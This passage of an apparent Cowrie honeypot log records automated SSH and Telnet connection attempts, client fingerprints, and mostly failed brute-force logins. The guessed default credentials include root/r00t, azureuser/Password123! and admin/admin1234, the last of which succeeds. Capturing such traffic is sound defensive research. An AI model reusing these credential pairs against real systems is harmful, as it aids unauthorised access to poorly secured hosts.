16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:13.325627Z","src_ip":"45.153.34.195","session":"2b9c2cc4d689","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"afk","password":"afk","message":"login attempt [afk/afk] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:13.618632Z","src_ip":"45.153.34.195","session":"2b9c2cc4d689","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:14.097548Z","src_ip":"103.149.28.157","session":"a2c523da0436","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:14.211621Z","src_ip":"150.136.214.177","session":"a6ab0b1f95c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:14.706280Z","src_ip":"45.153.34.195","session":"2b9c2cc4d689","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mcserver","password":"mcserver","message":"login attempt [mcserver/mcserver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:15.118464Z","src_ip":"91.92.40.36","session":"8e27a9616306","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":20908,"dst_ip":"10.17.0.5","dst_port":22,"session":"e82168ae6a89","protocol":"ssh","message":"New connection: 45.153.34.195:20908 (10.17.0.5:22) [session: e82168ae6a89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:16.202889Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:16.234175Z","src_ip":"45.153.34.195","session":"e82168ae6a89","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:16.325680Z","src_ip":"45.153.34.195","session":"e82168ae6a89","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo","password":"odoo123","message":"login attempt [odoo/odoo123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:16.804308Z","src_ip":"45.153.34.195","session":"e82168ae6a89","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.0","message":"Connection lost after 7.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:17.289364Z","src_ip":"91.92.40.36","session":"8e27a9616306","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:17.887706Z","src_ip":"45.153.34.195","session":"e82168ae6a89","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":25042,"dst_ip":"10.17.0.5","dst_port":22,"session":"c8c7dc97b5e8","protocol":"ssh","message":"New connection: 91.92.40.36:25042 (10.17.0.5:22) [session: c8c7dc97b5e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:18.068309Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":20912,"dst_ip":"10.17.0.5","dst_port":22,"session":"4d871030c4c0","protocol":"ssh","message":"New connection: 45.153.34.195:20912 (10.17.0.5:22) [session: 4d871030c4c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:18.941963Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:19.119646Z","src_ip":"45.153.34.195","session":"4d871030c4c0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:19.124022Z","src_ip":"45.153.34.195","session":"4d871030c4c0","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:19.128887Z","src_ip":"91.92.40.36","session":"c8c7dc97b5e8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"azureuser","password":"Password123!","message":"login attempt [azureuser/Password123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:19.608941Z","src_ip":"45.153.34.195","session":"4d871030c4c0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:20.188853Z","src_ip":"91.92.40.36","session":"c8c7dc97b5e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:20.764081Z","src_ip":"45.153.34.195","session":"4d871030c4c0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":20922,"dst_ip":"10.17.0.5","dst_port":22,"session":"6de2d97893cc","protocol":"ssh","message":"New connection: 45.153.34.195:20922 (10.17.0.5:22) [session: 6de2d97893cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:22.002509Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:22.036952Z","src_ip":"45.153.34.195","session":"6de2d97893cc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:22.275515Z","src_ip":"45.153.34.195","session":"6de2d97893cc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cacti","password":"cacti","message":"login attempt [cacti/cacti] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:22.628583Z","src_ip":"45.153.34.195","session":"6de2d97893cc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:23.713240Z","src_ip":"45.153.34.195","session":"6de2d97893cc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":23500,"dst_ip":"10.17.0.5","dst_port":22,"session":"23c0ffc13402","protocol":"ssh","message":"New connection: 45.153.34.195:23500 (10.17.0.5:22) [session: 23c0ffc13402]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:24.930523Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:24.934964Z","src_ip":"45.153.34.195","session":"23c0ffc13402","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:25.025557Z","src_ip":"45.153.34.195","session":"23c0ffc13402","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"r00t","message":"login attempt [root/r00t] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:25.274511Z","src_ip":"45.153.34.195","session":"23c0ffc13402","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.06838870048523,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:25.353112Z","src_ip":"172.81.62.90","session":"d4f31f81b22e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.148.145.132","src_port":61042,"dst_ip":"10.17.0.5","dst_port":22,"session":"a6fac4c3cfa1","protocol":"ssh","message":"New connection: 23.148.145.132:61042 (10.17.0.5:22) [session: a6fac4c3cfa1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:25.435456Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:25.440756Z","src_ip":"23.148.145.132","session":"a6fac4c3cfa1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:25.519187Z","src_ip":"23.148.145.132","session":"a6fac4c3cfa1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"123456","message":"login attempt [claude/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:25.768751Z","src_ip":"91.92.40.36","session":"c8c7dc97b5e8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.148.145.132","src_port":61055,"dst_ip":"10.17.0.5","dst_port":22,"session":"6aaaf091c36f","protocol":"ssh","message":"New connection: 23.148.145.132:61055 (10.17.0.5:22) [session: 6aaaf091c36f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:26.095832Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:26.100470Z","src_ip":"23.148.145.132","session":"6aaaf091c36f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":57614,"dst_ip":"10.17.0.5","dst_port":22,"session":"45bea7d359d7","protocol":"ssh","message":"New connection: 91.92.40.36:57614 (10.17.0.5:22) [session: 45bea7d359d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:26.120045Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:26.173653Z","src_ip":"91.92.40.36","session":"45bea7d359d7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:26.179728Z","src_ip":"23.148.145.132","session":"6aaaf091c36f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:26.303972Z","src_ip":"91.92.40.36","session":"45bea7d359d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:26.366665Z","src_ip":"45.153.34.195","session":"23c0ffc13402","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ui","password":"ui","message":"login attempt [ui/ui] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:27.067537Z","src_ip":"91.92.40.36","session":"45bea7d359d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.6","message":"Connection lost after 9.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:27.696546Z","src_ip":"91.92.40.36","session":"c8c7dc97b5e8","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:27.704857Z","src_ip":"23.148.145.132","session":"a6fac4c3cfa1","protocol":"ssh"}
